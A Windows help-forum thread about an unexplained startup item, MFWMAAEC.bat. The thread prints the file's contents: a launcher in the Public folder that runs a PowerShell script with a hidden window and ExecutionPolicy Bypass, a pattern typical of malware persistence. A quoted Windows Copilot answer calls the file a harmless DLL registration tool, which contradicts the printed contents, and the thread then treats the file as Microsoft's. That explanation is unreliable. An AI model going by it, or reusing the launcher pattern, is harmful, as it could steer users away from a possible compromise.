What is MFWMAAEC.bat in Task Manager?

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Puzzle: I have MFWMAAEC.bat running as an auto startup app in Task Manager. It is running as Enabled and not Measured.  I’m at 22H2 build 22621.2506. My wife’s desktop is also at 22H2 build 22621.2506 and her Task Manager does not show the BAT file. Everything I use seems to be running as advertised. I would post this in the appropriate thread if I had any idea as to what it is. Anybody got any ideas? Google is no help. ElevenForums is no help. I suspect a device problem but Device Manager shows no problems.

 

Win11 Pro desktop [2], 22H2, Both at build 22621.2715

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What is the content of the BAT file – you can open it in Notepad?

cheers, Paul

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desertdad wrote:

MFWMAAEC.bat

Windows Media Audio AEC for Media Foundation

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Doing what, and why a batch file?

A one-off and disappears, never to be seen again after a reboot/restart?

Runs at every boot or only after specific interactions with the codec/multimedia device?

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Feedback:

• Found in c:\users\Public, created Oct 22
• After every restart
• Size 14.1KB, read only, not shared, Everyone has complete access
• Clipped the Public folder contents and saved them
• Settings/Apps/startup has the batch file set to ON
• Looks like some sort of package.
• I don’t have any unusual audio devices and no Device Manager problems

Notepad:

@echo off

set “ps=powershell.exe”

set “params1=-NoProfile ”

set “params2=-WindowStyle Hidden ”

set “params3=-ExecutionPolicy Bypass”

set “cmd=C:\Users\Public\HNetCfgClient.ps1”

%ps% %params1%%params2%%params3% -Command “& ‘%cmd%'”

exit /b

[end Notepad]

Win11 Pro desktop [2], 22H2, Both at build 22621.2715

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satrow wrote:

Doing what

Open the .bat file in notepad and find ‘doing what’

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See the above post #2603439

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satrow

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What is in C:\Users\Public\HNetCfgClient.ps1? Notepad again.

IMO there should never be software run from C:\Users\Public. This is a folder you have little control over and allows the software to run when anyone logs on.

cheers, Paul

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satrow

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Paul, Thanks for your perspective. I was surprised to find the batch file being run out of Public at startup. I have disabled it and expect to leave it that way. I don’t think it is nefarious, just bad practice. I’m not a Powershell guy but it looks like something related to Edge execution. I will mark this as solved once I figure out how to do that. My wife’s machine doesn’t have the code, so this is a one-off.

Dick

 

Win11 Pro desktop [2], 22H2, Both at build 22621.2715

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Done, leaving the code disabled in Task Manager.

Win11 Pro desktop [2], 22H2, Both at build 22621.2715

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desertdad wrote:

I’m not a Powershell guy but it looks like something related to Edge execution.

Why Edge?

Windows Copilot says it’s a feedback suppressor installer/uninstaller:

MFWMAAEC.bat is a batch file that can be used to register or unregister the MFWMAAEC.dll file on a Windows system. The MFWMAAEC.dll file is a dynamic link library that provides Windows Media Audio AEC (Acoustic Echo Cancellation) for Media Foundation1. Media Foundation is a multimedia framework that supports audio and video playback, encoding, and processing on Windows. AEC is a feature that reduces the echo or feedback that occurs when a microphone picks up the sound from a speaker. AEC is useful for applications that involve voice communication, such as video conferencing or voice chat2.

To use the MFWMAAEC.bat file, you need to have administrator privileges and run it from a command prompt. The file accepts one parameter, which can be either /r or /u. The /r parameter registers the MFWMAAEC.dll file, while the /u parameter unregisters it. For example, to register the file, you can type:

MFWMAAEC.bat /r

The file will then copy the MFWMAAEC.dll file to the system folder and register it with the system. To unregister the file, you can type:

MFWMAAEC.bat /u

The file will then unregister the MFWMAAEC.dll file from the system and delete it from the system folder.

MFWMAAEC.DLL is included in Windows Vista/8/10/11 at C:\Windows\System32.

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Alex5723

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Thanks for the forensics. MS certainly wasn’t trying to hide the batch file since the ON/OFF control shows up in Settings/Apps/Startup. My heartburn is with the decision to put a batch file in my systems Public folder that runs a command at every login without telling me what the ramifications are. I just wish they weren’t quite so bold. I will take care of my concern on my system by simply turning it OFF. The batch file still shows up in Task Manager but Disabled.

I do have a MFWMAAEC.dll file from 5/7/22 which is when my Win11 desktop was built.

Thanks again for the explanation. My Edge comment? No excuse.

Dick

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I have the MFWMAAEC.DLL file in Windows 10 22H2 but no MFWMAAEC.bat file.

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no MFWMAAEC.bat file.

Same here.

 

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